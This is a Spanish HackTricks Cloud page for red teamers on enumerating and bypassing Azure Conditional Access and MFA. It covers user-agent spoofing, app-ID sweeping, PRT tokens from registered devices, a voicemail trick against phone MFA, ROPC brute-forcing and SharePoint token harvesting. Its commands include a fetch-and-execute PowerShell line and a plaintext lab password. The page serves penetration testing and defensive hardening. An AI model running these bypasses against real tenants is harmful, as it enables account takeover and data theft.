Az - Políticas de Acceso Condicional y Bypass de MFA
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información Básica
Las políticas de acceso condicional de Azure son reglas establecidas en Microsoft Azure para hacer cumplir los controles de acceso a los servicios y aplicaciones de Azure basándose en ciertas condiciones. Estas políticas ayudan a las organizaciones a asegurar sus recursos aplicando los controles de acceso adecuados en las circunstancias correctas.
Las políticas de acceso condicional definen Quién puede acceder a Qué desde Dónde y Cómo.
Aquí hay un par de ejemplos:
- Política de Riesgo de Inicio de Sesión: Esta política podría configurarse para requerir autenticación multifactor (MFA) cuando se detecta un riesgo de inicio de sesión. Por ejemplo, si el comportamiento de inicio de sesión de un usuario es inusual en comparación con su patrón regular, como iniciar sesión desde un país diferente, el sistema puede solicitar autenticación adicional.
- Política de Cumplimiento de Dispositivos: Esta política puede restringir el acceso a los servicios de Azure solo a dispositivos que cumplan con los estándares de seguridad de la organización. Por ejemplo, el acceso podría permitirse solo desde dispositivos que tengan software antivirus actualizado o que estén ejecutando una cierta versión del sistema operativo.
Enumeración
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
Bypass de Políticas de Acceso Condicional
Es posible que una política de acceso condicional esté verificando alguna información que puede ser fácilmente manipulada, permitiendo un bypass de la política. Y si, por ejemplo, la política estaba configurando MFA, el atacante podrá eludirla.
Al configurar una política de acceso condicional, es necesario indicar los usuarios afectados y los recursos objetivo (como todas las aplicaciones en la nube).
También es necesario configurar las condiciones que activarán la política:
- Red: IP, rangos de IP y ubicaciones geográficas
- Puede ser eludida usando una VPN o Proxy para conectarse a un país o logrando iniciar sesión desde una dirección IP permitida
- Riesgos de Microsoft: Riesgo del usuario, riesgo de inicio de sesión, riesgo interno
- Plataformas de dispositivos: Cualquier dispositivo o seleccionar Android, iOS, Windows phone, Windows, macOS, Linux
- Si “Cualquier dispositivo” no está seleccionado pero todas las otras opciones están seleccionadas, es posible eludirlo usando un user-agent aleatorio no relacionado con esas plataformas
- Aplicaciones cliente: Las opciones son “Navegador”, “Aplicaciones móviles y clientes de escritorio”, “Clientes de Exchange ActiveSync” y “Otros clientes”
- Para eludir el inicio de sesión con una opción no seleccionada
- Filtro para dispositivos: Es posible generar una regla relacionada con el dispositivo utilizado
- Flujos de autenticación: Las opciones son “Flujo de código de dispositivo” y “Transferencia de autenticación”
- Esto no afectará a un atacante a menos que esté tratando de abusar de cualquiera de esos protocolos en un intento de phishing para acceder a la cuenta de la víctima
Los posibles resultados son: Bloquear o Conceder acceso con condiciones potenciales como requerir MFA, que el dispositivo sea conforme…
Plataformas de Dispositivos - Condición de Dispositivo
Es posible establecer una condición basada en la plataforma del dispositivo (Android, iOS, Windows, macOS…), sin embargo, esto se basa en el user-agent por lo que es fácil de eludir. Incluso haciendo que todas las opciones exijan MFA, si usas un user-agent que no es reconocido, podrás eludir el MFA o el bloqueo:
.png)
Simplemente haciendo que el navegador envíe un user-agent desconocido (como Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) es suficiente para no activar esta condición.
Puedes cambiar el user agent manualmente en las herramientas de desarrollador:
.png)
O usar una extensión de navegador como esta.
Ubicaciones: Países, rangos de IP - Condición de Dispositivo
Si esto está configurado en la política condicional, un atacante podría simplemente usar una VPN en el país permitido o intentar encontrar una manera de acceder desde una dirección IP permitida para eludir estas condiciones.
Aplicaciones en la Nube
Es posible configurar políticas de acceso condicional para bloquear o forzar, por ejemplo, MFA cuando un usuario intenta acceder a una aplicación específica:
.png)
Para intentar eludir esta protección, deberías ver si puedes iniciar sesión solo en cualquier aplicación.
La herramienta AzureAppsSweep tiene decenas de IDs de aplicación codificados y tratará de iniciar sesión en ellas y te informará e incluso te dará el token si tiene éxito.
Para probar IDs de aplicación específicos en recursos específicos, también podrías usar una herramienta como:
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
Además, también es posible proteger el método de inicio de sesión (por ejemplo, si estás intentando iniciar sesión desde el navegador o desde una aplicación de escritorio). La herramienta Invoke-MFASweep realiza algunas verificaciones para intentar eludir estas protecciones también.
La herramienta donkeytoken también podría usarse para propósitos similares, aunque parece no estar mantenida.
La herramienta ROPCI también se puede usar para probar estas protecciones y ver si es posible eludir los MFA o bloqueos, pero esta herramienta funciona desde una perspectiva whitebox. Primero necesitas descargar la lista de aplicaciones permitidas en el inquilino y luego intentará iniciar sesión en ellas.
Otras elusiones de Az MFA
Tono de llamada
Una opción de Azure MFA es recibir una llamada en el número de teléfono configurado donde se le pedirá al usuario que envíe el carácter #.
Caution
Como los caracteres son solo tonos, un atacante podría comprometer el mensaje de buzón de voz del número de teléfono, configurar como mensaje el tono de
#y luego, al solicitar el MFA, asegurarse de que el teléfono de la víctima esté ocupado (llamándolo) para que la llamada de Azure se redirija al buzón de voz.
Dispositivos compatibles
Las políticas a menudo piden un dispositivo compatible o MFA, por lo que un atacante podría registrar un dispositivo compatible, obtener un token PRT y eludir de esta manera el MFA.
Comienza registrando un dispositivo compatible en Intune, luego obtén el PRT con:
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
Encuentra más información sobre este tipo de ataque en la siguiente página:
Az - Primary Refresh Token (PRT)
Herramientas
AzureAppsSweep
Este script obtiene algunas credenciales de usuario y verifica si puede iniciar sesión en algunas aplicaciones.
Esto es útil para ver si no se requiere MFA para iniciar sesión en algunas aplicaciones que podrías abusar más tarde para escalar privilegios.
roadrecon
Obtiene todas las políticas.
roadrecon plugin policies
Invoke-MFASweep
MFASweep es un script de PowerShell que intenta iniciar sesión en varios servicios de Microsoft utilizando un conjunto de credenciales proporcionado y tratará de identificar si MFA está habilitado. Dependiendo de cómo se configuren las políticas de acceso condicional y otros ajustes de autenticación multifactor, algunos protocolos pueden terminar siendo de un solo factor. También tiene una verificación adicional para configuraciones de ADFS y puede intentar iniciar sesión en el servidor ADFS local si se detecta.
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
ROPCI
Esta herramienta ha ayudado a identificar bypasses de MFA y luego abusar de APIs en múltiples inquilinos de AAD en producción, donde los clientes de AAD creían que tenían MFA aplicado, pero la autenticación basada en ROPC tuvo éxito.
Tip
Necesitas tener permisos para listar todas las aplicaciones para poder generar la lista de las aplicaciones a las que hacer brute-force.
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json
donkeytoken
Donkey token es un conjunto de funciones que tienen como objetivo ayudar a los consultores de seguridad que necesitan validar las Políticas de Acceso Condicional, pruebas para portales de Microsoft habilitados para 2FA, etc.
git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force
Prueba cada portal si es posible iniciar sesión sin MFA:
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
Debido a que el portal de Azure no está restringido, es posible recopilar un token del endpoint del portal para acceder a cualquier servicio detectado por la ejecución anterior. En este caso, se identificó Sharepoint, y se solicita un token para acceder a él:
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
Suponiendo que el token tiene el permiso Sites.Read.All (de Sharepoint), incluso si no puedes acceder a Sharepoint desde la web debido a MFA, es posible usar el token para acceder a los archivos con el token generado:
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
Referencias
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

